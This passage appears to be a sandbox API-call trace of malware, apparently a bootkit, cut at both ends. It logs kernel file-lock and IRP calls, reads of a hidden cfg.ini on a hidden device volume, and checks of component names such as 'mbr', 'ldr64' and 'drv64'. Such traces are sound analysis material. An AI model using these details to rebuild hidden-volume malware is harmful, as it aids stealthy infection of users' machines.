_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.980] KeEnterCriticalRegion () [0118.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4e000 [0118.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.980] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.980] IdePortDispatch () returned 0x103 [0118.981] KeWaitForMutexObject () returned 0x0 [0118.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.981] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.981] IdePortDispatch () returned 0x103 [0118.981] KeWaitForMutexObject () returned 0x0 [0118.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.981] KeLeaveCriticalRegion () [0118.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.982] KeEnterCriticalRegion () [0118.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] KeLeaveCriticalRegion () [0118.982] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.982] KeEnterCriticalRegion () [0118.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.982] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbf260, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] KeLeaveCriticalRegion () [0118.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.982] KeEnterCriticalRegion () [0118.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] ExFreePoolWithTag (P=0xfffffa8003bbf1a0, Tag=0x0) [0118.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] KeLeaveCriticalRegion () [0118.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.982] ReleaseMutex (hMutex=0xf0) returned 1 [0118.982] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.982] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.982] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.982] KeEnterCriticalRegion () [0118.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.982] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.983] IdePortDispatch () returned 0x103 [0118.983] KeWaitForMutexObject () returned 0x0 [0118.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.983] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.983] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.983] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.983] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.983] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649b60 [0118.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.983] KeLeaveCriticalRegion () [0118.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.983] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.983] KeEnterCriticalRegion () [0118.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.983] KeLeaveCriticalRegion () [0118.983] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.983] KeEnterCriticalRegion () [0118.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.983] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.983] IdePortDispatch () returned 0x103 [0118.984] KeWaitForMutexObject () returned 0x0 [0118.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.984] KeLeaveCriticalRegion () [0118.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.984] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.984] KeEnterCriticalRegion () [0118.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4f000 [0118.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.984] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.984] IdePortDispatch () returned 0x103 [0118.984] KeWaitForMutexObject () returned 0x0 [0118.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.985] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.985] IdePortDispatch () returned 0x103 [0118.985] KeWaitForMutexObject () returned 0x0 [0118.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.985] KeLeaveCriticalRegion () [0118.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.986] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.986] KeEnterCriticalRegion () [0118.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] KeLeaveCriticalRegion () [0118.986] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.986] KeEnterCriticalRegion () [0118.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.986] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] KeLeaveCriticalRegion () [0118.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.986] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.986] KeEnterCriticalRegion () [0118.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] ExFreePoolWithTag (P=0xfffffa8003649b60, Tag=0x0) [0118.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] KeLeaveCriticalRegion () [0118.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.986] ReleaseMutex (hMutex=0xf0) returned 1 [0118.986] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.986] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.986] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.986] KeEnterCriticalRegion () [0118.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.986] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.986] IdePortDispatch () returned 0x103 [0118.987] KeWaitForMutexObject () returned 0x0 [0118.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.987] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.987] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.987] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.987] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.987] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc160 [0118.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.987] KeLeaveCriticalRegion () [0118.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.987] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.987] KeEnterCriticalRegion () [0118.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.987] KeLeaveCriticalRegion () [0118.987] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.987] KeEnterCriticalRegion () [0118.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.987] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.987] IdePortDispatch () returned 0x103 [0118.988] KeWaitForMutexObject () returned 0x0 [0118.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.988] KeLeaveCriticalRegion () [0118.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.988] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.988] KeEnterCriticalRegion () [0118.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c50000 [0118.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.988] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.988] IdePortDispatch () returned 0x103 [0118.989] KeWaitForMutexObject () returned 0x0 [0118.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.990] IdePortDispatch () returned 0x103 [0118.990] KeWaitForMutexObject () returned 0x0 [0118.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.990] KeLeaveCriticalRegion () [0118.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.990] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.991] KeEnterCriticalRegion () [0118.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] KeLeaveCriticalRegion () [0118.991] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.991] KeEnterCriticalRegion () [0118.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] KeLeaveCriticalRegion () [0118.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.991] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.991] KeEnterCriticalRegion () [0118.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] ExFreePoolWithTag (P=0xfffffa8003bcc160, Tag=0x0) [0118.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] KeLeaveCriticalRegion () [0118.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.991] ReleaseMutex (hMutex=0xf0) returned 1 [0118.991] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.991] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.991] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.991] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.991] KeEnterCriticalRegion () [0118.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.991] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.991] IdePortDispatch () returned 0x103 [0118.992] KeWaitForMutexObject () returned 0x0 [0118.992] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.992] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.992] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.992] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.992] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.992] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.992] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.992] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.992] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.992] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.992] KeLeaveCriticalRegion () [0118.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.992] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.992] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.992] KeEnterCriticalRegion () [0118.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.993] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.993] IdePortDispatch () returned 0x103 [0118.993] KeWaitForMutexObject () returned 0x0 [0118.993] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.993] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.993] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.993] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.993] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.993] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.993] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.993] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.993] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.993] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.993] KeLeaveCriticalRegion () [0118.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.993] ReleaseMutex (hMutex=0x100) returned 1 [0118.993] Sleep (dwMilliseconds=0x2bf20) [0119.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a21f1b0, dwHighDateTime=0x1d24fa4)) [0119.005] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.005] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.005] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.005] KeEnterCriticalRegion () [0119.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.005] IoAllocateMdl (in: 